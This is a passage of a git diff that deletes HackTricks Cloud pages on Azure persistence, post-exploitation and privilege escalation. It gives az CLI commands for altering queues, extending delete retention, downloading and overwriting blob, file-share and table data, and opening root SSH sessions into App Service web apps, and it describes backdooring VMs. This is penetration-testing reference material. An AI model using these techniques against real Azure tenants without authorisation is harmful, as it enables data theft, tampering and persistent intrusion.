+++ /dev/null
@@ -1,59 +0,0 @@
-# Az - Queue Storage Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Queue
-
-For more information check:
-
-{% content-ref url="../az-services/az-queue-enum.md" %}
-[az-queue-enum.md](../az-services/az-queue-enum.md)
-{% endcontent-ref %}
-
-### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
-
-This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks.
-
-{% code overflow="wrap" %}
-```bash
-az storage queue create --name <new-queue-name> --account-name <storage-account>
-
-az storage queue metadata update --name <queue-name> --metadata key1=value1 key2=value2 --account-name <storage-account>
-
-az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
-```
-{% endcode %}
-
-## References
-
-* https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
-* https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
-* https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md b/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md
deleted file mode 100644
index 196d5ebf4..000000000
--- a/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md
+++ /dev/null
@@ -1,72 +0,0 @@
-# Az - Storage Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Storage Privesc
-
-For more information about storage check:
-
-{% content-ref url="../az-services/az-storage.md" %}
-[az-storage.md](../az-services/az-storage.md)
-{% endcontent-ref %}
-
-### Common tricks
-
-* Keep the access keys
-* Generate SAS
-  * User delegated are 7 days max
-
-### Microsoft.Storage/storageAccounts/blobServices/containers/update && Microsoft.Storage/storageAccounts/blobServices/deletePolicy/write
-
-These permissions allows the user to modify blob service properties for the container delete retention feature, which enables or configures the retention period for deleted containers. These permissions can be used for maintaining persistence to provide a window of opportunity for the attacker to recover or manipulate deleted containers that should have been permanently removed and accessing sensitive information.
-
-{% code overflow="wrap" %}
-```bash
-az storage account blob-service-properties update \
-  --account-name <STORAGE_ACCOUNT_NAME> \
-  --enable-container-delete-retention true \
-  --container-delete-retention-days 100
-```
-{% endcode %}
-
-### Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action
-
-These permissions can lead to the attacker to modify the retention policies, restoring deleted data, and accessing sensitive information.
-
-{% code overflow="wrap" %}
-```bash
-az storage blob service-properties delete-policy update \
-  --account-name <STORAGE_ACCOUNT_NAME> \
-  --enable true \
-  --days-retained 100
-```
-{% endcode %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
diff --git a/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md b/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md
deleted file mode 100644
index 5f67c2b12..000000000
--- a/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md
+++ /dev/null
@@ -1,51 +0,0 @@
-# Az - VMs Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## VMs persistence
-
-For more information about VMs check:
-
-{% content-ref url="../az-services/vms/" %}
-[vms](../az-services/vms/)
-{% endcontent-ref %}
-
-### Backdoor VM applications, VM Extensions & Images <a href="#backdoor-instances" id="backdoor-instances"></a>
-
-An attacker identifies applications, extensions or images being frequently used in the Azure account, he could insert his code in VM applications and extensions so every time they get installed the backdoor is executed.
-
-### Backdoor Instances <a href="#backdoor-instances" id="backdoor-instances"></a>
-
-An attacker could get access to the instances and backdoor them:
-
-* Using a traditional **rootkit** for example
-* Adding a new **public SSH key** (check [EC2 privesc options](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc))
-* Backdooring the **User Data**
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
deleted file mode 100644
index d63a1375f..000000000
--- a/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
+++ /dev/null
@@ -1,71 +0,0 @@
-# Az - Blob Storage Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Storage Privesc
-
-For more information about storage check:
-
-{% content-ref url="../az-services/az-storage.md" %}
-[az-storage.md](../az-services/az-storage.md)
-{% endcontent-ref %}
-
-### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
-
-A principal with this permission will be able to **list** the blobs (files) inside a container and **download** the files which might contain **sensitive information**.
-
-```bash
-# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
-az storage blob list \
-  --account-name <acc-name> \
-  --container-name <container-name> --auth-mode login
-  
-az storage blob download \
-  --account-name <acc-name> \
-  --container-name <container-name> \
-  -n file.txt --auth-mode login
-```
-
-### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
-
-A principal with this permission will be able to **write and overwrite files in containers** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some code stored in a blob):
-
-```bash
-# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
-az storage blob upload \
-  --account-name <acc-name> \
-  --container-name <container-name> \
-  --file /tmp/up.txt --auth-mode login --overwrite
-```
-
-### \*/delete
-
-This would allow to delete objects inside the storage account which might **interrupt some services** or make the client **lose valuable information**.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md b/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md
deleted file mode 100644
index 648443c17..000000000
--- a/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md
+++ /dev/null
@@ -1,74 +0,0 @@
-# Az - File Share Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## File Share Post Exploitation
-
-For more information about file shares check:
-
-{% content-ref url="../az-services/az-file-shares.md" %}
-[az-file-shares.md](../az-services/az-file-shares.md)
-{% endcontent-ref %}
-
-### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read
-
-A principal with this permission will be able to **list** the files inside a file share and **download** the files which might contain **sensitive information**.
-
-```bash
-# List files inside an azure file share
-az storage file list \
-    --account-name <name> \
-    --share-name <share-name> \
-    --auth-mode login --enable-file-backup-request-intent
-
-# Download an specific file 
-az storage file download \
-    --account-name <name> \
-    --share-name <share-name> \
-    --path <filename-to-download> \
-    --dest /path/to/down \
-    --auth-mode login --enable-file-backup-request-intent
-```
-
-### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action
-
-A principal with this permission will be able to **write and overwrite files in file shares** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some code stored in a file share):
-
-```bash
-az storage blob upload \
-  --account-name <acc-name> \
-  --container-name <container-name> \
-  --file /tmp/up.txt --auth-mode login --overwrite
-```
-
-### \*/delete
-
-This would allow to delete file inside the shared filesystem which might **interrupt some services** or make the client **lose valuable information**.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md b/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md
deleted file mode 100644
index 8069be143..000000000
--- a/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md
+++ /dev/null
@@ -1,47 +0,0 @@
-# Az - Function Apps Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Funciton Apps Post Exploitaiton
-
-For more information about function apps check:
-
-{% content-ref url="../az-services/az-function-apps.md" %}
-[az-function-apps.md](../az-services/az-function-apps.md)
-{% endcontent-ref %}
-
-{% hint style="danger" %}
-**Function Apps post exploitation tricks are very related to the privilege escalation tricks** so you can find all of them there:
-{% endhint %}
-
-{% content-ref url="../az-privilege-escalation/az-functions-app-privesc.md" %}
-[az-functions-app-privesc.md](../az-privilege-escalation/az-functions-app-privesc.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md b/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md
deleted file mode 100644
index 0eb9a3592..000000000
--- a/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md
+++ /dev/null
@@ -1,90 +0,0 @@
-# Az - Table Storage Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Table Storage Post Exploitation
-
-For more information about table storage check:
-
-{% content-ref url="../az-services/az-table-storage.md" %}
-[az-table-storage.md](../az-services/az-table-storage.md)
-{% endcontent-ref %}
-
-### Microsoft.Storage/storageAccounts/tableServices/tables/entities/read
-
-A principal with this permission will be able to **list** the tables inside a table storage and **read the info** which might contain **sensitive information**.
-
-```bash
-# List tables
-az storage table list --auth-mode login --account-name <name>
-
-# Read table (top 10)
-az storage entity query \
-    --account-name <name> \
-    --table-name <t-name> \
-    --auth-mode login \
-    --top 10
-```
-
-### Microsoft.Storage/storageAccounts/tableServices/tables/entities/write | Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action | Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action
-
-A principal with this permission will be able to **write and overwrite entries in tables** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some trusted data that could abuse some injection vulnerability in the app using it).
-
-* The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/write` allows all the actions.
-* The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action` allows to **add** entries
-* The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action` allows to **update** existing entries
-
-```bash
-# Add
-az storage entity insert \
-  --account-name <acc-name> \
-  --table-name <t-name> \
-  --auth-mode login \
-  --entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
-
-# Replace
-az storage entity replace \
-  --account-name <acc-name> \
-  --table-name <t-name> \
-  --auth-mode login \
-  --entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
-
-# Update
-az storage entity merge \
-  --account-name <acc-name> \
-  --table-name <t-name> \
-  --auth-mode login \
-  --entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
-```
-
-### \*/delete
-
-This would allow to delete file inside the shared filesystem which might **interrupt some services** or make the client **lose valuable information**.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md b/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md
deleted file mode 100644
index 92ecc5e14..000000000
--- a/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md
+++ /dev/null
@@ -1,67 +0,0 @@
-# Az - App Services Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## App Services
-
-For more information about Azure App services check:
-
-{% content-ref url="../az-services/az-app-services.md" %}
-[az-app-services.md](../az-services/az-app-services.md)
-{% endcontent-ref %}
-
-### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read,&#x20;
-
-These permissions allows to call the following commands to get a **SSH shell** inside a web app
-
-* Direct option:
-
-```bash
-# Direct option
-az webapp ssh --name <name> --resource-group <res-group>
-```
-
-* Create tunnel and then connect to SSH:
-
-{% code overflow="wrap" %}
-```bash
-az webapp create-remote-connection --name <name> --resource-group <res-group>
-
-## If successfull you will get a message such as:
-#Verifying if app is running....
-#App is running. Trying to establish tunnel connection...
-#Opening tunnel on port: 39895
-#SSH is available { username: root, password: Docker! }
-
-## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
-ssh root@127.0.0.1 -p 39895
-```
-{% endcode %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md b/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
deleted file mode 100644
index 9b72dba49..000000000
--- a/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
+++ /dev/null
@@ -1,78 +0,0 @@
-# Az - Dynamic Groups Privesc
-
-{% hint style="success" %}
